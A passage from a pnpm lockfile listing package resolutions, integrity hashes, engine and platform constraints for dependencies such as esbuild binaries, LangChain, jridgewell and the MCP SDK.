sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==}\n    engines: {node: '>=12'}\n\n  '@docsearch/css@4.3.2':\n    resolution: {integrity: sha512-K3Yhay9MgkBjJJ0WEL5MxnACModX9xuNt3UlQQkDEDZJZ0+aeWKtOkxHNndMRkMBnHdYvQjxkm6mdlneOtU1IQ==}\n\n  '@docsearch/js@4.3.2':\n    resolution: {integrity: sha512-xdfpPXMgKRY9EW7U1vtY7gLKbLZFa9ed+t0Dacquq8zXBqAlH9HlUf0h4Mhxm0xatsVeMaIR2wr/u6g0GsZyQw==}\n\n  '@eggjs/ajv-formats@3.0.1':\n    resolution: {integrity: sha512-9l+dQY9y0klfNpC3576YZs5gdUrTEsV+qgUp7RUIaP9TcNHtcJ+hFsgzCQiIwwYJaM7upbYDWr0pk3f8qQvhow==}\n\n  '@eggjs/ajv-keywords@5.1.1':\n    resolution: {integrity: sha512-+wUIlwNeHd/MKtQQFTdezkL0sqh91oTO4gyYHTuaJtFDJvf1TFjpLiTaNpq3Z783nvcUeKVOsbBThATVRkj7tg==}\n\n  '@eggjs/compressible@3.0.0':\n    resolution: {integrity: sha512-Bz/u+0zhmZ/44xdIL1MLfknaDFQpE+bSfJ4OjCb2NnHpg+LVmmNwEpRW4hUi3v2MhaO3sNWD93gBTtJ00q2iIA==}\n    engines: {node: '>= 18.19.0'}\n\n  '@eggjs/ip@2.1.0':\n    resolution: {integrity: sha512-jOsufOpySKBld+N1GG8IAW9EEQNmQ6bDaBnrRlYFk6AspoxG8gAzXSW93ZFfEPwscS5rL7UbDUKyIHUkmkTPyw==}\n    engines: {node: '>= 14.0.0'}\n\n  '@eggjs/rds@1.5.0':\n    resolution: {integrity: sha512-RFgiEzAJhHbNTFo1s47VnlAgZvoW7f88/+KWsgGS8N+ES9Z9i30X/cxjva1BLm3ROg07nxYx98tr2RLWu30Pnw==}\n    engines: {node: '>= 16.17.0'}\n\n  '@emnapi/core@1.7.1':\n    resolution: {integrity: sha512-o1uhUASyo921r2XtHYOHy7gdkGLge8ghBEQHMWmyJFoXlpU58kIrhhN3w26lpQb6dspetweapMn2CSNwQ8I4wg==}\n\n  '@emnapi/runtime@1.7.1':\n    resolution: {integrity: sha512-PVtJr5CmLwYAU9PZDMITZoR5iAOShYREoR45EyyLrbntV50mdePTgUn4AmOw90Ifcj+x2kRjdzr1HP3RrNiHGA==}\n\n  '@emnapi/wasi-threads@1.1.0':\n    resolution: {integrity: sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ==}\n\n  '@esbuild/aix-ppc64@0.25.12':\n    resolution: {integrity: sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==}\n    engines: {node: '>=18'}\n    cpu: [ppc64]\n    os: [aix]\n\n  '@esbuild/aix-ppc64@0.27.0':\n    resolution: {integrity: sha512-KuZrd2hRjz01y5JK9mEBSD3Vj3mbCvemhT466rSuJYeE/hjuBrHfjjcjMdTm/sz7au+++sdbJZJmuBwQLuw68A==}\n    engines: {node: '>=18'}\n    cpu: [ppc64]\n    os: [aix]\n\n  '@esbuild/android-arm64@0.25.12':\n    resolution: {integrity: sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [android]\n\n  '@esbuild/android-arm64@0.27.0':\n    resolution: {integrity: sha512-CC3vt4+1xZrs97/PKDkl0yN7w8edvU2vZvAFGD16n9F0Cvniy5qvzRXjfO1l94efczkkQE6g1x0i73Qf5uthOQ==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [android]\n\n  '@esbuild/android-arm@0.25.12':\n    resolution: {integrity: sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==}\n    engines: {node: '>=18'}\n    cpu: [arm]\n    os: [android]\n\n  '@esbuild/android-arm@0.27.0':\n    resolution: {integrity: sha512-j67aezrPNYWJEOHUNLPj9maeJte7uSMM6gMoxfPC9hOg8N02JuQi/T7ewumf4tNvJadFkvLZMlAq73b9uwdMyQ==}\n    engines: {node: '>=18'}\n    cpu: [arm]\n    os: [android]\n\n  '@esbuild/android-x64@0.25.12':\n    resolution: {integrity: sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [android]\n\n  '@esbuild/android-x64@0.27.0':\n    resolution: {integrity: sha512-wurMkF1nmQajBO1+0CJmcN17U4BP6GqNSROP8t0X/Jiw2ltYGLHpEksp9MpoBqkrFR3kv2/te6Sha26k3+yZ9Q==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [android]\n\n  '@esbuild/darwin-arm64@0.25.12':\n    resolution: {integrity: sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [darwin]\n\n  '@esbuild/darwin-arm64@0.27.0':\n    resolution: {integrity: sha512-uJOQKYCcHhg07DL7i8MzjvS2LaP7W7Pn/7uA0B5S1EnqAirJtbyw4yC5jQ5qcFjHK9l6o/MX9QisBg12kNkdHg==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [darwin]\n\n  '@esbuild/darwin-x64@0.25.12':\n    resolution: {integrity: sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [darwin]\n\n  '@esbuild/darwin-x64@0.27.0':\n    resolution: {integrity: sha512-8mG6arH3yB/4ZXiEnXof5MK72dE6zM9cDvUcPtxhUZsDjESl9JipZYW60C3JGreKCEP+p8P/72r69m4AZGJd5g==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [darwin]\n\n  '@esbuild/freebsd-arm64@0.25.12':\n    resolution: {integrity: sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [freebsd]\n\n  '@esbuild/freebsd-arm64@0.27.0':\n    resolution: {integrity: sha512-9FHtyO988CwNMMOE3YIeci+UV+x5Zy8fI2qHNpsEtSF83YPBmE8UWmfYAQg6Ux7Gsmd4FejZqnEUZCMGaNQHQw==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [freebsd]\n\n  '@esbuild/freebsd-x64@0.25.12':\n    resolution: {integrity: sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [freebsd]\n\n  '@esbuild/freebsd-x64@0.27.0':\n    resolution: {integrity: sha512-zCMeMXI4HS/tXvJz8vWGexpZj2YVtRAihHLk1imZj4efx1BQzN76YFeKqlDr3bUWI26wHwLWPd3rwh6pe4EV7g==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [freebsd]\n\n  '@esbuild/linux-arm64@0.25.12':\n    resolution: {integrity: sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [linux]\n\n  '@esbuild/linux-arm64@0.27.0':\n    resolution: {integrity: sha512-AS18v0V+vZiLJyi/4LphvBE+OIX682Pu7ZYNsdUHyUKSoRwdnOsMf6FDekwoAFKej14WAkOef3zAORJgAtXnlQ==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [linux]\n\n  '@esbuild/linux-arm@0.25.12':\n    resolution: {integrity: sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==}\n    engines: {node: '>=18'}\n    cpu: [arm]\n    os: [linux]\n\n  '@esbuild/linux-arm@0.27.0':\n    resolution: {integrity: sha512-t76XLQDpxgmq2cNXKTVEB7O7YMb42atj2Re2Haf45HkaUpjM2J0UuJZDuaGbPbamzZ7bawyGFUkodL+zcE+jvQ==}\n    engines: {node: '>=18'}\n    cpu: [arm]\n    os: [linux]\n\n  '@esbuild/linux-ia32@0.25.12':\n    resolution: {integrity: sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==}\n    engines: {node: '>=18'}\n    cpu: [ia32]\n    os: [linux]\n\n  '@esbuild/linux-ia32@0.27.0':\n    resolution: {integrity: sha512-Mz1jxqm/kfgKkc/KLHC5qIujMvnnarD9ra1cEcrs7qshTUSksPihGrWHVG5+osAIQ68577Zpww7SGapmzSt4Nw==}\n    engines: {node: '>=18'}\n    cpu: [ia32]\n    os: [linux]\n\n  '@esbuild/linux-loong64@0.25.12':\n    resolution: {integrity: sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==}\n    engines: {node: '>=18'}\n    cpu: [loong64]\n    os: [linux]\n\n  '@esbuild/linux-loong64@0.27.0':\n    resolution: {integrity: sha512-QbEREjdJeIreIAbdG2hLU1yXm1uu+LTdzoq1KCo4G4pFOLlvIspBm36QrQOar9LFduavoWX2msNFAAAY9j4BDg==}\n    engines: {node: '>=18'}\n    cpu: [loong64]\n    os: [linux]\n\n  '@esbuild/linux-mips64el@0.25.12':\n    resolution: {integrity: sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==}\n    engines: {node: '>=18'}\n    cpu: [mips64el]\n    os: [linux]\n\n  '@esbuild/linux-mips64el@0.27.0':\n    resolution: {integrity: sha512-sJz3zRNe4tO2wxvDpH/HYJilb6+2YJxo/ZNbVdtFiKDufzWq4JmKAiHy9iGoLjAV7r/W32VgaHGkk35cUXlNOg==}\n    engines: {node: '>=18'}\n    cpu: [mips64el]\n    os: [linux]\n\n  '@esbuild/linux-ppc64@0.25.12':\n    resolution: {integrity: sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==}\n    engines: {node: '>=18'}\n    cpu: [ppc64]\n    os: [linux]\n\n  '@esbuild/linux-ppc64@0.27.0':\n    resolution: {integrity: sha512-z9N10FBD0DCS2dmSABDBb5TLAyF1/ydVb+N4pi88T45efQ/w4ohr/F/QYCkxDPnkhkp6AIpIcQKQ8F0ANoA2JA==}\n    engines: {node: '>=18'}\n    cpu: [ppc64]\n    os: [linux]\n\n  '@esbuild/linux-riscv64@0.25.12':\n    resolution: {integrity: sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==}\n    engines: {node: '>=18'}\n    cpu: [riscv64]\n    os: [linux]\n\n  '@esbuild/linux-riscv64@0.27.0':\n    resolution: {integrity: sha512-pQdyAIZ0BWIC5GyvVFn5awDiO14TkT/19FTmFcPdDec94KJ1uZcmFs21Fo8auMXzD4Tt+diXu1LW1gHus9fhFQ==}\n    engines: {node: '>=18'}\n    cpu: [riscv64]\n    os: [linux]\n\n  '@esbuild/linux-s390x@0.25.12':\n    resolution: {integrity: sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==}\n    engines: {node: '>=18'}\n    cpu: [s390x]\n    os: [linux]\n\n  '@esbuild/linux-s390x@0.27.0':\n    resolution: {integrity: sha512-hPlRWR4eIDDEci953RI1BLZitgi5uqcsjKMxwYfmi4LcwyWo2IcRP+lThVnKjNtk90pLS8nKdroXYOqW+QQH+w==}\n    engines: {node: '>=18'}\n    cpu: [s390x]\n    os: [linux]\n\n  '@esbuild/linux-x64@0.25.12':\n    resolution: {integrity: sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [linux]\n\n  '@esbuild/linux-x64@0.27.0':\n    resolution: {integrity: sha512-1hBWx4OUJE2cab++aVZ7pObD6s+DK4mPGpemtnAORBvb5l/g5xFGk0vc0PjSkrDs0XaXj9yyob3d14XqvnQ4gw==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [linux]\n\n  '@esbuild/netbsd-arm64@0.25.12':\n    resolution: {integrity: sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [netbsd]\n\n  '@esbuild/netbsd-arm64@0.27.0':\n    resolution: {integrity: sha512-6m0sfQfxfQfy1qRuecMkJlf1cIzTOgyaeXaiVaaki8/v+WB+U4hc6ik15ZW6TAllRlg/WuQXxWj1jx6C+dfy3w==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [netbsd]\n\n  '@esbuild/netbsd-x64@0.25.12':\n    resolution: {integrity: sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [netbsd]\n\n  '@esbuild/netbsd-x64@0.27.0':\n    resolution: {integrity: sha512-xbbOdfn06FtcJ9d0ShxxvSn2iUsGd/lgPIO2V3VZIPDbEaIj1/3nBBe1AwuEZKXVXkMmpr6LUAgMkLD/4D2PPA==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [netbsd]\n\n  '@esbuild/openbsd-arm64@0.25.12':\n    resolution: {integrity: sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [openbsd]\n\n  '@esbuild/openbsd-arm64@0.27.0':\n    resolution: {integrity: sha512-fWgqR8uNbCQ/GGv0yhzttj6sU/9Z5/Sv/VGU3F5OuXK6J6SlriONKrQ7tNlwBrJZXRYk5jUhuWvF7GYzGguBZQ==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [openbsd]\n\n  '@esbuild/openbsd-x64@0.25.12':\n    resolution: {integrity: sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [openbsd]\n\n  '@esbuild/openbsd-x64@0.27.0':\n    resolution: {integrity: sha512-aCwlRdSNMNxkGGqQajMUza6uXzR/U0dIl1QmLjPtRbLOx3Gy3otfFu/VjATy4yQzo9yFDGTxYDo1FfAD9oRD2A==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [openbsd]\n\n  '@esbuild/openharmony-arm64@0.25.12':\n    resolution: {integrity: sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [openharmony]\n\n  '@esbuild/openharmony-arm64@0.27.0':\n    resolution: {integrity: sha512-nyvsBccxNAsNYz2jVFYwEGuRRomqZ149A39SHWk4hV0jWxKM0hjBPm3AmdxcbHiFLbBSwG6SbpIcUbXjgyECfA==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [openharmony]\n\n  '@esbuild/sunos-x64@0.25.12':\n    resolution: {integrity: sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [sunos]\n\n  '@esbuild/sunos-x64@0.27.0':\n    resolution: {integrity: sha512-Q1KY1iJafM+UX6CFEL+F4HRTgygmEW568YMqDA5UV97AuZSm21b7SXIrRJDwXWPzr8MGr75fUZPV67FdtMHlHA==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [sunos]\n\n  '@esbuild/win32-arm64@0.25.12':\n    resolution: {integrity: sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [win32]\n\n  '@esbuild/win32-arm64@0.27.0':\n    resolution: {integrity: sha512-W1eyGNi6d+8kOmZIwi/EDjrL9nxQIQ0MiGqe/AWc6+IaHloxHSGoeRgDRKHFISThLmsewZ5nHFvGFWdBYlgKPg==}\n    engines: {node: '>=18'}\n    cpu: [arm64]\n    os: [win32]\n\n  '@esbuild/win32-ia32@0.25.12':\n    resolution: {integrity: sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==}\n    engines: {node: '>=18'}\n    cpu: [ia32]\n    os: [win32]\n\n  '@esbuild/win32-ia32@0.27.0':\n    resolution: {integrity: sha512-30z1aKL9h22kQhilnYkORFYt+3wp7yZsHWus+wSKAJR8JtdfI76LJ4SBdMsCopTR3z/ORqVu5L1vtnHZWVj4cQ==}\n    engines: {node: '>=18'}\n    cpu: [ia32]\n    os: [win32]\n\n  '@esbuild/win32-x64@0.25.12':\n    resolution: {integrity: sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [win32]\n\n  '@esbuild/win32-x64@0.27.0':\n    resolution: {integrity: sha512-aIitBcjQeyOhMTImhLZmtxfdOcuNRpwlPNmlFKPcHQYPhEssw75Cl1TSXJXpMkzaua9FUetx/4OQKq7eJul5Cg==}\n    engines: {node: '>=18'}\n    cpu: [x64]\n    os: [win32]\n\n  '@fastify/busboy@2.1.1':\n    resolution: {integrity: sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==}\n    engines: {node: '>=14'}\n\n  '@fengmk2/ps-tree@2.0.2':\n    resolution: {integrity: sha512-CN5YjfoIrNSxVQssQsvsvcehWDt5VYSEKamOsDHWrepOfTIOxBCIXULf1cscNpaz2NW6/GqM3FMddwm5ctxXow==}\n    engines: {node: '>= 18.19.0'}\n    hasBin: true\n\n  '@gar/promisify@1.1.3':\n    resolution: {integrity: sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==}\n\n  '@hapi/bourne@3.0.0':\n    resolution: {integrity: sha512-Waj1cwPXJDucOib4a3bAISsKJVb15MKi9IvmTI/7ssVEm6sywXGjVJDhl6/umt1pK1ZS7PacXU3A1PmFKHEZ2w==}\n\n  '@hono/node-server@1.19.9':\n    resolution: {integrity: sha512-vHL6w3ecZsky+8P5MD+eFfaGTyCeOHUIFYMGpQGbrBTSmNNoxv0if69rEZ5giu36weC5saFuznL411gRX7bJDw==}\n    engines: {node: '>=18.14.1'}\n    peerDependencies:\n      hono: ^4\n\n  '@iconify-json/simple-icons@1.2.60':\n    resolution: {integrity: sha512-KlwLBKCdMCqfySdkAA+jehdUx6VSjnj6lvzQKus7HjkPSQ6QP58d6xiptkIp0jd/Hw3PW2++nRuGvCvSYaF0Mg==}\n\n  '@iconify/types@2.0.0':\n    resolution: {integrity: sha512-+wluvCrRhXrhyOmRDJ3q8mux9JkKy5SJ/v8ol2tu4FVjyYvtEzkc/3pK15ET6RKg4b4w4BmTk1+gsCUhf21Ykg==}\n\n  '@ioredis/as-callback@3.0.0':\n    resolution: {integrity: sha512-Kqv1rZ3WbgOrS+hgzJ5xG5WQuhvzzSTRYvNeyPMLOAM78MHSnuKI20JeJGbpuAt//LCuP0vsexZcorqW7kWhJg==}\n\n  '@ioredis/commands@1.4.0':\n    resolution: {integrity: sha512-aFT2yemJJo+TZCmieA7qnYGQooOS7QfNmYrzGtsYd3g9j5iDP8AimYYAesf79ohjbLG12XxC4nG5DyEnC88AsQ==}\n\n  '@isaacs/balanced-match@4.0.1':\n    resolution: {integrity: sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ==}\n    engines: {node: 20 || >=22}\n\n  '@isaacs/brace-expansion@5.0.0':\n    resolution: {integrity: sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA==}\n    engines: {node: 20 || >=22}\n\n  '@isaacs/cliui@8.0.2':\n    resolution: {integrity: sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==}\n    engines: {node: '>=12'}\n\n  '@isaacs/string-locale-compare@1.1.0':\n    resolution: {integrity: sha512-SQ7Kzhh9+D+ZW9MA0zkYv3VXhIDNx+LzM6EJ+/65I3QY+enU6Itte7E5XX7EWrqLW2FN4n06GWzBnPoC3th2aQ==}\n\n  '@istanbuljs/schema@0.1.3':\n    resolution: {integrity: sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==}\n    engines: {node: '>=8'}\n\n  '@jest/pattern@30.0.1':\n    resolution: {integrity: sha512-gWp7NfQW27LaBQz3TITS8L7ZCQ0TLvtmI//4OwlQRx4rnWxcPNIYjxZpDcN4+UlGxgm3jS5QPz8IPTCkb59wZA==}\n    engines: {node: ^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0}\n\n  '@jest/schemas@30.0.5':\n    resolution: {integrity: sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==}\n    engines: {node: ^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0}\n\n  '@jest/types@30.2.0':\n    resolution: {integrity: sha512-H9xg1/sfVvyfU7o3zMfBEjQ1gcsdeTMgqHoYdN79tuLqfTtuu7WckRA1R5whDwOzxaZAeMKTYWqP+WCAi0CHsg==}\n    engines: {node: ^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0}\n\n  '@jridgewell/gen-mapping@0.3.13':\n    resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==}\n\n  '@jridgewell/remapping@2.3.5':\n    resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==}\n\n  '@jridgewell/resolve-uri@3.1.2':\n    resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==}\n    engines: {node: '>=6.0.0'}\n\n  '@jridgewell/source-map@0.3.11':\n    resolution: {integrity: sha512-ZMp1V8ZFcPG5dIWnQLr3NSI1MiCU7UETdS/A0G8V/XWHvJv3ZsFqutJn1Y5RPmAPX6F3BiE397OqveU/9NCuIA==}\n\n  '@jridgewell/sourcemap-codec@1.5.5':\n    resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==}\n\n  '@jridgewell/trace-mapping@0.3.31':\n    resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==}\n\n  '@jridgewell/trace-mapping@0.3.9':\n    resolution: {integrity: sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==}\n\n  '@langchain/core@1.1.26':\n    resolution: {integrity: sha512-Xnwi4xEKEtZcGwjW5xpZVP/Dc+WckFxULMShETuCpD6TxNFS6yRM+FhNUO1DDCkRkGn9b1fuzVZrNYb9W7F32A==}\n    engines: {node: '>=20'}\n\n  '@langchain/langgraph-checkpoint@1.0.0':\n    resolution: {integrity: sha512-xrclBGvNCXDmi0Nz28t3vjpxSH6UYx6w5XAXSiiB1WEdc2xD2iY/a913I3x3a31XpInUW/GGfXXfePfaghV54A==}\n    engines: {node: '>=18'}\n    peerDependencies:\n      '@langchain/core': ^1.0.1\n\n  '@langchain/langgraph-sdk@2.0.0':\n    resolution: {integrity: sha512-Xdkl1hve84ZGQ7fgpiBIBvjODhtjbPPccY4snOtYgSdzRXZkESsi2Y7RDKgFe1nC9+DbX+QaYom0raD/XFBKAw==}\n    deprecated: This version is not intended for use. Please use 1.x versions of @langchain/langgraph-sdk instead\n    peerDependencies:\n      '@langchain/core': ^1.1.16\n      react: ^18 || ^19\n      react-dom: ^18 || ^19\n    peerDependenciesMeta:\n      '@langchain/core':\n        optional: true\n      react:\n        optional: true\n      react-dom:\n        optional: true\n\n  '@langchain/langgraph@1.1.5':\n    resolution: {integrity: sha512-uJC/asydf/GoHpo9x42lf9hs8ufCkMuJ9sDle5ybP7sMD0XryOfE0E4J3deARk9ZadCCt6zeCoCNu/mTbx8+Sg==}\n    engines: {node: '>=18'}\n    peerDependencies:\n      '@langchain/core': ^1.1.16\n      zod: ^3.25.32 || ^4.2.0\n      zod-to-json-schema: ^3.x\n    peerDependenciesMeta:\n      zod-to-json-schema:\n        optional: true\n\n  '@langchain/mcp-adapters@1.1.3':\n    resolution: {integrity: sha512-OPHIQNkTUJjnRj1pr+cp2nguMBZeF3Q1pVT1hCbgU7BrHgV7lov99wbU8po8Cm4zZzmeRtVO/T9X1SrDD1ogtQ==}\n    engines: {node: '>=20.10.0'}\n    peerDependencies:\n      '@langchain/core': ^1.0.0\n      '@langchain/langgraph': ^1.0.0\n\n  '@langchain/openai@1.2.8':\n    resolution: {integrity: sha512-qliwC7sb7/Kw0tsl/EiMchMThKt62rZbyofKXtxPwYBte3BMzMXo2HKaEFvAN2QHVOuDi4voqQ7ZlRXc/o2e8w==}\n    engines: {node: '>=20'}\n    peerDependencies:\n      '@langchain/core': ^1.0.0\n\n  '@modelcontextprotocol/sdk@1.26.0':\n    resolution: {integrity: sha512-Y5RmPncpiDtTXDbLKswIJzTqu2hyBKxTNsgKqKclDbhIgg1wgtf1fRuvxgTnRfcnxtvvgbIEcqUOzZrJ6iSReg==}\n    engines: {node: '>=18'}\n    peerDependencies:\n      '@cfworker/json-schema': ^4.1.1\n      zod: ^3.25 || ^4.0\n    peerDependenciesMeta:\n      '@cfworker/json-schema':\n        optional: true\n\n  '@napi-rs/wasm-runtime@1.1.0':\n    resolution: {integrity: sha512-Fq6DJW+Bb5jaWE69/qOE0D1TUN9+6uWhCeZpdnSBk14pjLcCWR7Q8n49PTSPHazM37JqrsdpEthXy2xn6jWWiA==}\n\n  '@noble/hashes@1.8.0':\n    resolution: {integrity: sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A==}\n    engines: {node: ^14.21.3 || >=16}\n\n  '@nodelib/fs.scandir@2.1.5':\n    resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==}\n    engines: {node: '>= 8'}\n\n  '@nodelib/fs.stat@2.0.5':\n    resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==}\n    engines: {node: 